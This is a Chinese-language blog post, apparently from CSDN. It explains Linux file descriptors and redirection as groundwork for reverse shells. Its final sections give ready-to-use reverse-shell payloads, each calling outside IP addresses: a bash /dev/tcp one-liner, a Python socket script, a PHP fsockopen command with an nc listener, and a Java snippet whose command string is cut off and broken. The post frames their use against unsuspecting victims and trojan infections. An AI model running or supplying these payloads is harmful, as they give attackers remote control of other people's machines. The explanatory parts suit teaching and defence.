反弹shell原理简析与病毒脚本案例

1,Linux中文件描述符

2,Linux输入输出重定向

3,反弹shell作用与目的

4,基础反弹shell语句的本质

5,反弹shell多种方式(命令行,php,python,java,nc)

 

壹   Linux中的文件描述符

首先我们需要回顾一下Linux系统的一个特点:一切皆文件

所有不同种类的类型都被抽象成了文件;如:普通文件、目录、字符设备、块设备、套接字等

当一个文件进程被打开,就会创建一个文件描述符,这时候,文件的路径就成了寻址系统,文件的描述符就成了接口,类似于C语言中的“指针”,我们通过这个“指针”,就可以实现对文件的读写操作,也就是实现对被抽象事物的操作:普通文件、目录、字符设备、块设备、套接字等

 

每次Linux系统启动的时候,就会默认打开三个文件描述符:

  • 标准输入standard input 0 (默认设备键盘)
  • 标准输出standard output 1(默认设备显示器)
  • 错误输出:error output 2(默认设备显示器)

分别对应着这/dev/tty0这个“文件”

我们在linux系统中所有的输入输出都是由这个进程所有打开的“文件描述符”控制的;就包括我们的输入设备“键盘”以及输出设备“显示器”在Linux系统中也是由文件的形式进行调用使用的。

一条命令执行以前先会按照默认的情况进行绑定(也就是上面图里面所说的 0,1,2),如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。

 

 

 

贰   Linux中输入和输出的重定向

重定向主要分为两种(其他复杂的都是从这两种衍生而来的):

  • 输入重定向 < <<

  • 输出重定向 > >>

bash在执行一条指令的时候,首先会检查语句中是否存在重定向符号,如果存在的话,就会首先将文件描述符重定向;

若是指令语句中存在多个重定向的话,就会按照书写习惯从左往右依次重定向(所以重定向的顺序千万不能改变)

< 是对输入0的重定向 ;

> 是对输出1的重定向; 

 

栗子一:

首先创建文本文件test,向其写入 “hello world !” 字符串;然后我们尝试通过文件重定向进行查看:

将文件描述符 0 重定向到 test 指代的文件(以只读方式打开),如果0这个描述符省略就是0(标准输入):

同样要是我们通过这种方式:

解析器解析到 "<" 以后会先处理重定向,将标准输入重定向到test,之后cat再从标准输入读取指令的时候,由于标准输入已经重定向到了test ,于是cat就从test中读取指令了。

参考下图所示:

这里的输入不再是键盘,而是变成了目录中的某个文件

 

栗子二:

这里就是将输出重定向,屏幕中输出的内容直接指向了目录下的某个文件

同理,我们这里还可以将符号省略,就默认为描述符1

如图下所示:直接输出到文件file中

 

栗子三:

我们在这儿将命令“ll”的结果输入到了test文件之中;但是如果我们的输入命令有问题(错误):

文件测输入了空值;

在这里我们需要引入标准输出与标准错误输出重定向:

 

栗子四:

也就是说,要是输入的是错误信息,我们就会将错误信息的引流到输出上面去,相当于指针指向的是内存地址一般

我们可以通过 >& 和 &>两个符号代替结尾的 2>&1

根据以上方法,我们可以通过文件描述符之间的指向,完成更复杂的操作。

 

绑定重定向:exec

栗子五

以读写方式打开test指代的文件,并将6重定向到该文件。如果6不指定的话,默认为标准输入0。

这个时候我们再次查看test文件,内容依旧没有改变:

但我们此时,重定向6:

相当于直接将ifconfig这个命令的结果直接赋给了test文件中,这个文件描述符相当于一个指针,指向了文件test的内容

 

 

 

叁   反弹shell作用与目的

扯了这么多全都是铺垫,现在我们看看什么是

反弹shell:

英文名(好像高端一点):Reverse Shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

简洁的说,就是让被攻击的机器,主动地送上门来找你白给,而不是你去找他

 

为什么要用反弹shell?

通常用于被控端因防火墙受限、权限不足、端口被占用等情形;

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.它的ip会动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

 

 

 

肆   基础反弹shell语句的本质

我们先看一下这个效果:

攻击者:

受害者:

然后与此同时:

我们来放飞一下自我:

这就直接掌握了他们机子了,你就是那个管理员在赛博朋克的远方的爸爸了;

 

我们来分析一下这段命令:

bash -i > /dev/tcp/192.168.86.129/999 0>&1 2>&1

 

bash -i

  • bash 是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别
  • -i 这个参数表示的是产生交互式的shell

 

/dev/tcp/ip/port

/dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的;但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信:

我们可以直接输出字符串到这儿,然后监听那一端就会显示:

受害者:  

监听端口:  

就相当于一个远程的可操作接口

监听端口:  

受害者端口:  

 

 

bash -i > /dev/tcp/ip/port

这样做的直接效果如下图所示:

就是,输出端口直接从显示器变为了那个远程的设备/dev/tcp/ip/port;但是我们这样子在攻击端口是无法控制被害者的,因为输入端还是在被害者哪儿,所以我们需要将描述符重定向一下:

 

bash -i > /dev/tcp/ip/port 0>&1 

但是我们观察被害者端:

黑客所输入的命令都被显示出来,这可不行,于是我们改变一下命令:

 

bash -i > /dev/tcp/ip/port 0>&1 2>&1

黑客:

被害者:

 

全然不知早已狼入虎口....

即使武功再高却也插翅难飞,在劫难逃

 

 

 

伍   反弹shell多种方式(命令行,php,python,java,nc)

 

命令行

bash -i > /dev/tcp/ip/port 0>&1 2>&1

 

NC反弹shell

https://blog.csdn.net/Alexz__/article/details/104645626我曾经在这儿介绍过一个反弹shell的方式;NC工具进行反弹shell。但是利用范围很有限

 

Python反弹shell

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("119.23.30.155",7777));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);

Python3.67环境下实测通过

 

PHP的fsockopen函数

# 在A上用nc监听7788端口

nc -lvp 7788

在B上执行 

php -r '$sock=fsockopen("39.108.72.123",7788);exec("/bin/bash -i <&3 >&3 2>&3");'

此时即可在A上操作B  该方式会回显输入的命令
若要退出 使用exit命令

 

JAVA环境反弹shell

public class Revs { 
    public static void main(String[] args) throws Exception { 
        // TODO Auto-generated method stub 
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/39.107.111.15 
        Process p = r.exec(cmd); 
        p.waitFor(); 
    } 
}

执行

java 1.java

宿主监听即可

 

 

 

本文参考于:

https://xz.aliyun.com/t/2548

https://xz.aliyun.com/t/2549

https://pdf.us/2019/01/29/2694.html

 

 

一生中

我曾多次撒谎

却始终诚实地遵守着

一个儿时的诺言

 

——北岛《结局或开始 ——献给遇罗克》

 

 

 

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值